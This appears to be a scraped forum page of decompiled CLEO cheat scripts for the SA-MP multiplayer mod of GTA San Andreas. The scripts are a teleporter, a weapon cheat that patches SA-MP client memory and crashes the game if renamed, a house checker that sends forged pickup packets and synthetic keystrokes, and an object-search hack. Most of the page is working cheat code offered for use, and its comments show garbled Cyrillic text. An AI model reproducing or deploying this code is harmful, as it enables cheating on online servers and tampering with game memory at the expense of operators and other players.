0B43: samp cmd_ret

:set_dialog_pos // [0@ = dialog id] [1@ = size x] [2@ = size y]
0B5A: get_screen_resolution 3@ 4@ 
3@ /= 2
4@ /= 2
1@ /= 2
2@ /= 2
0063: 3@ -= 1@
0063: 4@ -= 2@  
1@ *= 2
2@ *= 2
0B84: dialog 0@ set_pos_XY 3@ 4@ size 1@ 2@ 
0AB2: ret 0

:TP {x} {y} {z}
SAMP.Spawn()
Actor.PutAt($PLAYER_ACTOR, 0@, 1@, 2@)
0AB2: ret 0 

:coords {but }
if 0@ == 0 // waxta
then
1@ = -1893.5366 
2@ = -1602.8402 
3@ = 21.7500
end

if 0@ == 1 // Çŕâîä
then
1@ = -129.7006
2@ = -339.2880
3@ = 1.4297
end

if 0@ == 2 // Ăđóç÷čę
then
1@ = 2158.5872
2@ = -2316.2393
3@ = 15.8181
end

if 0@ == 3 // Đŕçâ. ďđîä.
then
1@ = 2286.1265
2@ = -2312.2734
3@ = 13.5413
end

if 0@ == 4 // Ěýđč˙ ËŃ
then
1@ = 1505.3599 
2@ = -1753.9567 
3@ = 13.5469
end

if 0@ == 5 // Ěýđč˙ ŃÔ
then
1@ = -2768.9116
2@ = 361.9172
3@ = 4.4738
end

if 0@ == 6 // Ěýđč˙ ËÂ
then
1@ = 2389.1733
2@ = 2423.1089
3@ = 10.8125
end

if 0@ == 7 // lSPD
then
1@ = 1553.6309
2@ = -1671.4644
3@ = 13.5562
end

if 0@ == 8 // SFPD
then
1@ = -1601.9305
2@ = 717.2076
3@ = 11.3774
end

if 0@ == 9 // LVPD
then
1@ = 2281.3735
2@ = 2428.8369
3@ = 10.8203
end

if 0@ == 10  // Hosp LS
then
1@ = 1180.3518
2@ = -1305.7943
3@ = 13.7950
end

if 0@ == 11 // Hosp SF
then
1@ = -2680.4097
2@ = 637.1298
3@ = 14.4531
end

if 0@ == 12 // Hosp LV
then
1@ = 1592.6801
2@ = 1816.8179
3@ = 10.8203
end

if 0@ == 13 // ballas
then
1@ = 2017.0066
2@ = -1109.5461
3@ = 26.2031
end

if 0@ == 14 // grove
then
1@ = 2465.0613
2@ = -1710.5726
3@ = 13.5022
end

if 0@ == 15 // aztec
then
1@ = 2170.1987
2@ = -1728.4161
3@ = 13.5409
end

if 0@ == 16 // vaginos
then
1@ = 2766.8125
2@ = -1178.2269
3@ = 69.4036
end

if 0@ == 17 // Rifa
then
1@ = 2786.8208
2@ = -1898.5823
3@ = 11.0657
end

if 0@ == 18 // LCN
then
1@ = 1432.5754
2@ = 2733.1392
3@ = 10.8203
end

if 0@ == 19 // Yakuza
then
1@ = 2549.2310
2@ = 1842.1932
3@ = 10.8203
end

if 0@ == 20 // Rus. Maf
then
1@ = 985.8802
2@ = 1690.6359
3@ = 9.1081
end

if 0@ == 21 // FBI
then
1@ = -2374.7913
2@ = 484.8788
3@ = 29.7990
end

if 0@ == 22 // AP
then
1@ = 951.6120
2@ = -893.6904
3@ = 45.7656
end

if 0@ == 23 // LSFM
then
1@ = 1630.1149
2@ = -1650.5219
3@ = 22.5156
end

if 0@ == 24 // SFFM
then
1@ = -1838.0138
2@ = 587.2550
3@ = 35.1641
end

if 0@ == 25 // LVFM
then
1@ = 2101.2039
2@ = 2359.7285
3@ = 11.2422
end

if 0@ == 26 // TV
then
1@ = 1785.4913
2@ = -1307.5454
3@ = 13.6968
end

if 0@ == 27 // CÂ
then
1@ = 397.0686
2@ = 1918.8665
3@ = 17.6406
end

if 0@ == 28 // ÂĚÔ
then
1@ = -2334.5613
2@ = 2367.3196
3@= 5.6221
end

if 0@ == 29 // ÂÂŃ
then
1@ = 495.6856
2@ = 2603.2561
3@ = 61.5528
end

if 0@ == 30 // Âîĺíęîě
then
1@ = 1139.3917
2@ = 1382.6759
3@ = 10.8203
end

if 0@ == 31 // Ŕâňîřęîëŕ
then
1@ = -2040.5258
2@ = -104.4789
3@ = 35.1719
end

0AB2: ret 3 1@ 2@ 3@



Hacked and decrypted by Mr.Ze
Label :
5 SourceHack: 2015 TP by Ta4ir modified by SlonoBoyko SOURCE thread "TP" 0000: NOP repeat wait 0 until Samp.Available() 0B34: samp regi...

SH-Gun by SR_Team SOURCE

SH-Gun by SR_Team
SOURCE




 
{$CLEO .cs}

0000: NOP 
wait 5000 
if 
0@ = SAMP.Base()
else_jump @Noname_40 
0A93: end_custom_thread 

:Noname_40
   not SAMP.Available
else_jump @Noname_60 
wait 100 
jump @Noname_40 

:Noname_60
wait 0 
if                                   // Remove this        if             so that you can
0AAB:   file_exists "CLEO\Gun.cs"    // Remove this        check          change the name
else_jump @Noname_1370               // And this           jump           of the script
0B34: samp register_client_command "gun" to_label @Noname_343 
0B34: samp register_client_command "gpth" to_label @Noname_998 
chatmsg "[SH-gun]: {AAAAAA}Weapon cheat for {22FF22}Silent-Hack.ru {6666FF}loaded! {FF9977}Author: {FF0000}SR_team" 6750054 

:Noname_230
wait 0 
0470: 1@ = actor $PLAYER_ACTOR current_weapon 
if and
key_down 71 
key_down 17 
   not SAMP.ChatInputOpened
   not 1@ == 0 
else_jump @Noname_230 
0555: remove_weapon 1@ from_actor $PLAYER_ACTOR 
chatmsg "[SH-gun]: Weapons {6666FF}%d {22FF22}removed." 6750054 1@ 
jump @Noname_230 

:Noname_343
   SAMP.IsCommandTyped(0@)
0C17: 1@ = strlen 0@ 
if and
  1@ > 0 
   not 1@ > 46 
else_jump @Noname_992 
0AD4: 0@ = scan_string 0@ format "%d %d" 1@ 2@  
wait 0 
if 
  2@ > 0 
else_jump @Noname_992 
Model.Load(#GUN_DILDO1)
Model.Load(#GUN_DILDO2)
Model.Load(#GUN_VIBE1)
Model.Load(#GUN_VIBE2)
Model.Load(#FLOWERA)
Model.Load(#GUN_CANE)
Model.Load(#BRASSKNUCKLE)
Model.Load(#GOLFCLUB)
Model.Load(#NITESTICK)
Model.Load(#KNIFECUR)
Model.Load(#BAT)
Model.Load(#SHOVEL)
Model.Load(#POOLCUE)
Model.Load(#KATANA)
Model.Load(#CHNSAW)
Model.Load(#GRENADE)
Model.Load(#TEARGAS)
Model.Load(#MOLOTOV)
Model.Load(#COLT45)
Model.Load(#SILENCED)
Model.Load(#DESERT_EAGLE)
Model.Load(#CHROMEGUN)
Model.Load(#SAWNOFF)
Model.Load(#SHOTGSPA)
Model.Load(#MICRO_UZI)
Model.Load(#MP5LNG)
Model.Load(#TEC9)
Model.Load(#AK47)
Model.Load(#M4)
Model.Load(#CUNTGUN)
Model.Load(#SNIPER)
Model.Load(#ROCKETLA)
Model.Load(#HEATSEEK)
Model.Load(#FLAME)
Model.Load(#MINIGUN)
Model.Load(#SATCHEL)
Model.Load(#BOMB)
Model.Load(#SPRAYCAN)
Model.Load(#FIRE_EX)
Model.Load(#CAMERA)
Model.Load(#NVGOGGLES)
Model.Load(#IRGOGGLES)
Model.Load(#GUN_PARA)
wait 200 
Actor.GiveWeaponAndAmmo($PLAYER_ACTOR, 1@, 2@)            // Your script literally just gives weapons, no patches, nothing
wait 100 
Model.Destroy(#GUN_DILDO1)
Model.Destroy(#GUN_DILDO2)
Model.Destroy(#GUN_VIBE1)
Model.Destroy(#GUN_VIBE2)
Model.Destroy(#FLOWERA)
Model.Destroy(#GUN_CANE)
Model.Destroy(#BRASSKNUCKLE)
Model.Destroy(#GOLFCLUB)
Model.Destroy(#NITESTICK)
Model.Destroy(#KNIFECUR)
Model.Destroy(#BAT)
Model.Destroy(#SHOVEL)
Model.Destroy(#POOLCUE)
Model.Destroy(#KATANA)
Model.Destroy(#CHNSAW)
Model.Destroy(#GRENADE)
Model.Destroy(#TEARGAS)
Model.Destroy(#MOLOTOV)
Model.Destroy(#COLT45)
Model.Destroy(#SILENCED)
Model.Destroy(#DESERT_EAGLE)
Model.Destroy(#CHROMEGUN)
Model.Destroy(#SAWNOFF)
Model.Destroy(#SHOTGSPA)
Model.Destroy(#MICRO_UZI)
Model.Destroy(#MP5LNG)
Model.Destroy(#TEC9)
Model.Destroy(#AK47)
Model.Destroy(#M4)
Model.Destroy(#CUNTGUN)
Model.Destroy(#SNIPER)
Model.Destroy(#ROCKETLA)
Model.Destroy(#HEATSEEK)
Model.Destroy(#FLAME)
Model.Destroy(#MINIGUN)
Model.Destroy(#SATCHEL)
Model.Destroy(#BOMB)
Model.Destroy(#SPRAYCAN)
Model.Destroy(#FIRE_EX)
Model.Destroy(#CAMERA)
Model.Destroy(#NVGOGGLES)
Model.Destroy(#IRGOGGLES)
Model.Destroy(#GUN_PARA)
chatmsg "[SH-gun]: {FF0000}SR_team {22FF22}gave you weapons {6666FF}%d {22FF22}and {6666FF}%d {22FF22}bullets." 6750054 1@ 2@    // Yeah cool

:Noname_992
wait 0 
SAMP.CmdRet

:Noname_998
wait 400 
if 
  9@ == 0 
else_jump @Noname_1247 
9@ = 1 
chatmsg "[SH-gun]: Armory patch included." 6750054  // Nah
SAMP.ReadSAMPMemory(3@, 21808, 1)
wait 10 
SAMP.ReadSAMPMemory(4@, 23200, 3)
wait 20 
SAMP.ReadSAMPMemory(5@, 77328, 2)
wait 30 
SAMP.ReadSAMPMemory(6@, 86704, 2)
wait 40 
SAMP.ReadSAMPMemory(7@, 80720, 2)
wait 50 
SAMP.ReadSAMPMemory(8@, 87024, 2)
wait 60 
SAMP.WriteSAMPMemory(21808, 195, 1)
SAMP.WriteSAMPMemory(23200, 12718080, 3)
SAMP.WriteSAMPMemory(77328, 50064, 2)
SAMP.WriteSAMPMemory(86704, 50064, 2)
SAMP.WriteSAMPMemory(80720, 50064, 2)
SAMP.WriteSAMPMemory(87024, 50064, 2)
jump @Noname_230 

:Noname_1247
wait 0 
9@ = 0 
chatmsg "[SH-gun]: Armory patch off." 6750054       // Nah
SAMP.WriteSAMPMemory(21808, 3@, 1)
SAMP.WriteSAMPMemory(23200, 4@, 3)
SAMP.WriteSAMPMemory(77328, 5@, 2)
SAMP.WriteSAMPMemory(86704, 6@, 2)
SAMP.WriteSAMPMemory(80720, 7@, 2)
SAMP.WriteSAMPMemory(87024, 8@, 2)
jump @Noname_230 

:Noname_1370
wait 0 
chatmsg "Script {FF66FF}'SH-Gun'{66FF66} is renamed." 6750054  // Yeah, but now that we have the source, we can just edit it
wait 3000 
chatmsg "Restore original name, for next play." 6750054  // No.
wait 4000 
chatmsg "Game close." 6750054    // Sure
wait 1500 
0AA5: call 8535003 num_params 3 pop 3 0 0 0   // Yeah, this closes your game
jump @Noname_1370 // Why is this jump here when you're going to close the game anyway?




Hacked and decrypted by Mr.Ze
Label :
5 SourceHack: 2015 SH-Gun by SR_Team SOURCE {$CLEO .cs} 0000: NOP wait 5000 if 0@ = SAMP.Base() else_jump @Noname_40 0A93: end_custom_thread ...

House Checker by SlonoBoyko SOURCE

House Checker by SlonoBoyko
SOURCE




 
 {$CLEO .cs}

0000: NOP 

:Noname_17
wait 0 
   SAMP.Available
else_jump @Noname_17 

:Noname_30
wait 0 
   SAMP.IsLocalPlayerSpawned
else_jump @Noname_30 
chatmsg "{FFFF00}[House Checker] by slonoboyko | {9B30FF}To activate script , enter {00FF00} /hcheck" 16768685 
0B34: samp register_client_command "hcheck" to_label @Noname_332 

:Noname_159
wait 0 
if 
  0@ == 1 
else_jump @Noname_325 
if 
call @Noname_506 1 1273 2@ 
else_jump @Noname_325 
0BD1: samp send_picked_up_pickup 2@ 
call @Noname_709 2 13 1000 
chatmsg "{FFFF00}[House Checker] by slonoboyko | {00FF00}In the area of stream a free house" 16768685 
wait 4000 

:Noname_325
jump @Noname_159 

:Noname_332
wait 0 
if 
  0@ == 0 
else_jump @Noname_432 
0@ = 1 
chatmsg "{FFFF00}[House Checker] by slonoboyko | {00FF00}Enable" 16768685 
jump @Noname_504 

:Noname_432
0@ = 0 
chatmsg "{FFFF00}[House Checker] by slonoboyko | {FF0000}Disable" 16768685 

:Noname_504
SAMP.CmdRet

:Noname_506
0BB9: samp 1@ = get_pickup_pool_ptr 
0A8D: 2@ = read_memory 1@ size 4 virtual_protect 0 
if 
  2@ > 0 
else_jump @Noname_700 
0A8E: 2@ = 1@ + 4 // int 
0A8E: 3@ = 1@ + 61444 // int 
4@ = 0 

:Noname_571
0A90: 5@ = 4@ * 4 // int 
005A: 5@ += 2@ // (int) 
0A8D: 5@ = read_memory 5@ size 4 virtual_protect 0 
if 
   not 5@ == 0 
else_jump @Noname_678 
0A90: 5@ = 4@ * 20 // int 
005A: 5@ += 3@ // (int) 
0A8D: 5@ = read_memory 5@ size 4 virtual_protect 0 
if 
003B:   5@ == 0@ // (int) 
else_jump @Noname_678 
return_true 
ret 1 4@ 

:Noname_678
4@ += 1 
  4@ > 4095 
else_jump @Noname_571 

:Noname_700
return_false 
ret 1 -1 

:Noname_709
if 
0AA2: 2@ = load_library "User32.dll" // IF and SET 
else_jump @Noname_812 
if 
0AA4: 2@ = get_proc_address "keybd_event" library 2@ // IF and SET 
else_jump @Noname_812 
0AA5: call 2@ num_params 4 pop 0 0 0 0 0@  
wait 1@ 
0AA5: call 2@ num_params 4 pop 0 0 2 0 0@  

:Noname_812
ret 0



Hacked and decrypted by Mr.Ze
Label :
5 SourceHack: 2015 House Checker by SlonoBoyko SOURCE {$CLEO .cs} 0000: NOP :Noname_17 wait 0 SAMP.Available else_jump @Noname_17 :Nonam...

Multiple Objects Search Hack by m1zg4rd SOURCE

Multiple Objects Search Hack by m1zg4rd
SOURCE



Original:
{$CLEO .cs}
if
  8AAB:   file_exists "CLEO\MOSH_bY_m1zg4rd.cs"
else_jump @SETTINGS_1
print "~R~DONT STEAL MY SCRIPT" 5000
004E: end_thread

//IF YOU DECRYPTED THIS, THEN FINE, YOU ARE ENOUGH SMART TO READ MY CODE
//BUT IF YOU READ THIS BY DOWNLOADED PROGRAM/DECRYPTER, THEN YOU ARE JUST POOR SCRIPT KIDDIE, DIE

//3@ - indeks/ilość znalezionych obiektów
//29@, 30@, 31@ - zmienne przeznaczone do skanowania
//0@, 1@, 2@ - coordy znalezionego obiektu
//4@v - nazwy kluczy do zapisu coordów obiektu

//19@ - ID szukanego obiektu
//5@ - system wykrywania pułapek (0 lub 1)

//7@ - markery
//8@ - zmienna kroku w pętli usuwajcej markery
//9@ - pomocniczy obiekt do systemu wykrywania pułapek

//10@ - pomocnicza zmienna float

//11@ - decyduje czy wyszukiwanie przerwano, czy anulowano wyświetlanie markerów (0 lub 1)

//12@ - pomocnicza zmienna integer
//13@ - pomocnicza zmienna integer
//14@ - pomocnicza zmienna integer

//15@, 16@, 17@ - coordy gracza (odmierzanie dystansu)
//18@ - dystans gracza od obiektu (float)

//20@ - pierwszy klawisz aktywacji/deaktywacji
//21@ - drugi klawisz aktywacji/deaktywacji

//22@ - wykrywanie obiektów położonych pod teksturami
//23@ - jeżeli system ma wykrywać zbyt wysoko położone obiekty
//24@ - wykrywaj, jeżli obiekt jest pod dnem morskim (0 lub 1)
//25@ - spróbuj wykryć czy obiekt jest w budynku (testowe)

:SETTINGS_1
wait 50 
if 
0AAB:   file_exists "CLEO\MOSH_configuration.iNi" 
else_jump @SETTINGS_2
wait 5 
3@ = 0.0
0AF0: 20@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "SETTINGS" key "ACTIVATE_1" 
0AF0: 21@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "SETTINGS" key "ACTIVATE_2" 
0AF0: 19@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "SETTINGS" key "OBJECT_ID" 
0AF0: 5@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "ACTIVATE_DETECTOR"
0AF0: 22@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "UNDERGROUND_TRAP"
0AF0: 23@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "HEIGHT_TRAP"
0AF0: 24@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "SEABED_TRAP"
0AF0: 25@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "INTERIOR_TRAP"
//0AF0: 26@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "HOUSE_TRAP"
jump @ACTIVATE_1

:SETTINGS_2
wait 10 
0AF1: write_int 57 to_ini_file "CLEO\MOSH_configuration.iNi" section "SETTINGS" key "ACTIVATE_1" //domyślnie 9
0AF1: write_int 80 to_ini_file "CLEO\MOSH_configuration.iNi" section "SETTINGS" key "ACTIVATE_2" //domyślnie P
0AF1: write_int 1210 to_ini_file "CLEO\MOSH_configuration.iNi" section "SETTINGS" key "OBJECT_ID" //domyślnie obiekt walizki
0AF1: write_int 1 to_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "ACTIVATE_DETECTOR" //domyślnie właczony 
0AF1: write_int 1 to_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "UNDERGROUND_TRAP" //domyślnie właczony 
0AF1: write_int 1 to_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "HEIGHT_TRAP" //domyślnie właczony 
0AF1: write_int 1 to_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "SEABED_TRAP" //domyślnie właczony 
0AF1: write_int 1 to_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "INTERIOR_TRAP" //domyślnie właczony 
//0AF1: write_int 1 to_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "HOUSE_TRAP" //domyślnie właczony
0AF1: write_int 0 to_ini_file "CLEO\MOSH_configuration.iNi" section "BLACKLIST" key "COUNT" //brak obiektów do wykluczenia
jump @SETTINGS_1

:ACTIVATE_1
wait 10
if and
  key_down 20@
  key_down 21@
else_jump @ACTIVATE_1
wait 10
jump @ACTIVATE_2

:ACTIVATE_2
wait 10
if and
  key_up 20@
  key_up 21@
else_jump @ACTIVATE_2
wait 10
13@ = 0
14@ = 0
jump @FINDER_1 
  
:FINDER_1
wait 0 
11@ = 0 //0 - wyszukiwanie przerwano
00BE: text_clear_all

if
  0039:   13@ == 1
then
  print "~Y~SEARCHING FOR OBJECTS" 3500
else
  print "~W~SEARCHING FOR OBJECTS" 3500
end
if
  14@ > 40
then
  if
    0039:   13@ == 1
  then
    13@ = 0
  else
    13@ = 1
  end
  14@ = 0
else
  14@ += 1
end

0A8D: 29@ = read_memory 12010652 size 4 virtual_protect 0 
29@ += 4 
0A8D: 29@ = read_memory 29@ size 4 virtual_protect 0 
30@ = 0 

:FINDER_2
0A8D: 31@ = read_memory 29@ size 1 virtual_protect 0 
29@ += 1 
if and
  31@ >= 0 
  128 > 31@ 
else_jump @FINDER_3 
005A: 31@ += 30@ // (int)
if and
  key_down 20@
  key_down 21@
then
  jump @DRAWING_2 
end
if 
   Object.Model(31@) == 19@
else_jump @FINDER_3 

1@ = 0
0AF0: 2@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "BLACKLIST" key "COUNT"
for 12@ = 1 to 2@ step 1
  0093: 0@ = integer 12@ to_float
  0AED: 4@v = float 0@ to_string_format "%.15gX"
  0AF2: 15@ = get_float_from_ini_file "CLEO\MOSH_configuration.iNi" section "BLACKLIST" key 4@v
  0AED: 4@v = float 0@ to_string_format "%.15gY"
  0AF2: 16@ = get_float_from_ini_file "CLEO\MOSH_configuration.iNi" section "BLACKLIST" key 4@v
  0AED: 4@v = float 0@ to_string_format "%.15gZ"
  0AF2: 17@ = get_float_from_ini_file "CLEO\MOSH_configuration.iNi" section "BLACKLIST" key 4@v
  
  if
    04E6:   object 31@ near_point 15@ 16@ 17@ radius 2.0 2.0 2.0 flag 0
  then
    1@ = 1
    12@ = 2@
  end
end

if 
  0039:   1@ == 0 
else_jump @FINDER_3

Object.StorePos(31@, 0@, 1@, 2@)
000B: 3@ += 1.0

0AED: 4@v = float 3@ to_string_format "%.15gX"
0AF3: write_float 0@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
0AED: 4@v = float 3@ to_string_format "%.15gY"
0AF3: write_float 1@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
0AED: 4@v = float 3@ to_string_format "%.15gZ"
0AF3: write_float 2@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v

7@ = Marker.CreateIconAndSphere(56, 0@, 1@, 2@)
0AED: 4@v = float 3@ to_string_format "%.15gM"
0AF1: write_int 7@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v

0AED: 4@v = float 3@ to_string_format "%.15gO"
0AF1: write_int 31@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v

:FINDER_3
30@ += 256
if //oryginalnie: 89344 
  30@ > 256000 //jeżeli już wszystkie przeszukał
else_jump @FINDER_2
//wracamy i szukamy od nowa
if
0021:   3@ > 0.0
else_jump @FINDER_1
00BE: text_clear_all
0092: 0@ = float 3@ to_integer
if
  0039:   0@ == 1
then
  printf "~Y~%d ~G~OBJECT FOUND ~Y~:3" 2500 0@
else
  printf "~Y~%d ~G~OBJECTS FOUND ~Y~:3" 2500 0@
end
jump @DRAWING_1

:DRAWING_1
wait 10
if and
  key_down 20@ //wyłaczamy wszystkie markery i usuwamy obiekty z listy
  key_down 21@
else_jump @ANTITRAP_1
wait 10
11@ = 1 //1 - wyłaczono markery
jump @DRAWING_2

:DRAWING_2
wait 10
if and
  key_up 20@
  key_up 21@
else_jump @DRAWING_2
0092: 13@ = float 3@ to_integer
for 8@ = 1 to 13@ step 1
  008F: 10@ = integer 8@ to_float
  0AED: 4@v = float 10@ to_string_format "%.15gM"
  0AF0: 7@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
  0164: disable_marker 7@
end

00BE: text_clear_all 
if
  0039:   11@ == 1
then
  print "~R~MARKERS DELETED" 1300
else
  print "~R~SEARCHING ABORTED" 1300
end
3@ = 0.0
jump @ACTIVATE_1

:ANTITRAP_1 //system wykrywa podejrzanie umieszczone obiekty, jeżeli takowy wykryje,
wait 10     //zmienia jego ikonę na radarze z 56 na 19 (czerwona flaga)
if
  0039:   5@ == 1  
else_jump @DRAWING_1
if
  001B:   50 > 13@
then
  13@ +=1
  jump @DRAWING_1
end

0092: 13@ = float 3@ to_integer
for 8@ = 1 to 13@ step 1
  7@ = 0
  008F: 10@ = integer 8@ to_float
  0AED: 4@v = float 10@ to_string_format "%.15gX"
  0AF2: 0@ = get_float_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
  0AED: 4@v = float 10@ to_string_format "%.15gY"
  0AF2: 1@ = get_float_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
  0AED: 4@v = float 10@ to_string_format "%.15gZ"
  0AF2: 2@ = get_float_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v

  02CE: 14@ = ground_z_at 0@ 1@ 2@
  
  if and
    0039:   22@ == 1 //0 - sprawdzaj, czy obiekt nie jest pod teksturami
    //06BD:   no_obstacles_between 0@ 1@ 2@ and 0@ 1@ 14@ solid 1 car 0 actor 0 object 0 particle 0
    0043:   14@ == 0.0
  then
    7@ = 1
  else
    0087: 18@ = 2@ // (float)
    0063: 18@ -= 14@  // (float)
    if and
      0039:   23@ == 1 //1 - sprawdzaj, czy obiekt nie jest za wysoko
      //06BD:   no_obstacles_between 0@ 1@ 2@ and 0@ 1@ 14@ solid 1 car 0 actor 0 object 0 particle 0
      0021:   18@ > 8.0
    then
      7@ = 1
    end  
  end   
  
  092E: get_water_height_at 0@ 1@ ignore_waves 1 store_to 14@
  
  if
    0021:   14@ > -1000.0
  then
    7@ = 0
  end
  
  if and
    0039:   24@ == 1
    0021:   14@ > -1000.0
    0023:   -67.0 > 2@
  then
    7@ = 2
  else
    0087: 18@ = 2@ // (float)
    0063: 18@ -= 14@  // (float)    
    if and
      0039:   23@ == 1
      0021:   14@ > -1000.0
      0021:   18@ > 8.0
      06BD:   no_obstacles_between 0@ 1@ 2@ and 0@ 1@ 0.0 solid 1 car 0 actor 0 object 0 particle 0
    then
      0092: 2@ = float 2@ to_integer
      0092: 18@ = float 18@ to_integer
      7@ = 2
    end
  end 
                         
  0AED: 4@v = float 10@ to_string_format "%.15gM"
  0AF0: 9@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
  
  //tu jeszcze będzie system wykrywania obiektu w budynku (26@)
  
  if
    0039:   7@ == 1 
  then 
    04C4: store_coords_to 15@ 16@ 17@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 0.0
    050A: 18@ = distance_between_XYZ 15@ 16@ 17@ and_XYZ 0@ 1@ 2@ 
    if
      0023:   130.0 > 18@
    then 
      0164: disable_marker 9@
      9@ = Marker.CreateIconAndSphere(19, 0@, 1@, 2@)
      0AF1: write_int 9@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v       
    end
  else
    if
      0039:   7@ == 2
    then 
      0164: disable_marker 9@
      9@ = Marker.CreateIconAndSphere(19, 0@, 1@, 2@)
      0AF1: write_int 9@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v       
    else
      if
        25@ == 1
      then
        09E8: 14@ = actor $PLAYER_ACTOR active_interior
        0AED: 4@v = float 10@ to_string_format "%.15gO"
        0AF0: 9@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
        if
          03CA:   object 9@ exists
        then 
          0AB1: @GetObjectInterior 1 OBJECT_HANDLE 9@ STORE_TO 18@
          
          if
            0039:   18@ == 13
          then
            18@ = 0
          end
          
          if
            0039:   14@ == 13
          then
            14@ = 0
          end
          
          if
            003B:   14@ == 18@  // (int)
          then
            0AED: 4@v = float 10@ to_string_format "%.15gM"
            0AF0: 9@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
            0164: disable_marker 9@
            9@ = Marker.CreateIconAndSphere(56, 0@, 1@, 2@)
            0AF1: write_int 9@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v 
         else
            0AED: 4@v = float 10@ to_string_format "%.15gM"
            0AF0: 9@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v  
            0164: disable_marker 9@
            9@ = Marker.CreateIconAndSphere(19, 0@, 1@, 2@)
            0AF1: write_int 9@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v     
          end
        else
          0AED: 4@v = float 10@ to_string_format "%.15gM"
          0AF0: 9@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v 
          0164: disable_marker 9@
          9@ = Marker.CreateIconAndSphere(56, 0@, 1@, 2@)
          0AF1: write_int 9@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v       
        end
      else  
        0164: disable_marker 9@
        9@ = Marker.CreateIconAndSphere(56, 0@, 1@, 2@)
        0AF1: write_int 9@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v 
      end
    end  
  end
end
13@ = 0
jump @DRAWING_1

//0AB1: @GetObjectInterior 1 OBJECT_HANDLE 0@ STORE_TO 1@
:GetObjectInterior 
0A98: 1@ = object 0@ struct
1@ += 47
0A8D: 2@ = read_memory 1@ size 1 virtual_protect 1
0AB2: ret 1 2@

Replaced key_up:
{$CLEO .cs}
if
  8AAB:   file_exists "CLEO\MOSH_bY_m1zg4rd.cs"
else_jump @SETTINGS_1
print "~R~DONT STEAL MY SCRIPT" 5000
004E: end_thread

//IF YOU DECRYPTED THIS, THEN FINE, YOU ARE ENOUGH SMART TO READ MY CODE
//BUT IF YOU READ THIS BY DOWNLOADED PROGRAM/DECRYPTER, THEN YOU ARE JUST POOR SCRIPT KIDDIE, DIE

//3@ - indeks/ilość znalezionych obiektów
//29@, 30@, 31@ - zmienne przeznaczone do skanowania
//0@, 1@, 2@ - coordy znalezionego obiektu
//4@v - nazwy kluczy do zapisu coordów obiektu

//19@ - ID szukanego obiektu
//5@ - system wykrywania pułapek (0 lub 1)

//7@ - markery
//8@ - zmienna kroku w pętli usuwajcej markery
//9@ - pomocniczy obiekt do systemu wykrywania pułapek

//10@ - pomocnicza zmienna float

//11@ - decyduje czy wyszukiwanie przerwano, czy anulowano wyświetlanie markerów (0 lub 1)

//12@ - pomocnicza zmienna integer
//13@ - pomocnicza zmienna integer
//14@ - pomocnicza zmienna integer

//15@, 16@, 17@ - coordy gracza (odmierzanie dystansu)
//18@ - dystans gracza od obiektu (float)

//20@ - pierwszy klawisz aktywacji/deaktywacji
//21@ - drugi klawisz aktywacji/deaktywacji

//22@ - wykrywanie obiektów położonych pod teksturami
//23@ - jeżeli system ma wykrywać zbyt wysoko położone obiekty
//24@ - wykrywaj, jeżli obiekt jest pod dnem morskim (0 lub 1)
//25@ - spróbuj wykryć czy obiekt jest w budynku (testowe)

:SETTINGS_1
wait 50 
if 
0AAB:   file_exists "CLEO\MOSH_configuration.iNi" 
else_jump @SETTINGS_2
wait 5 
3@ = 0.0
0AF0: 20@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "SETTINGS" key "ACTIVATE_1" 
0AF0: 21@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "SETTINGS" key "ACTIVATE_2" 
0AF0: 19@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "SETTINGS" key "OBJECT_ID" 
0AF0: 5@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "ACTIVATE_DETECTOR"
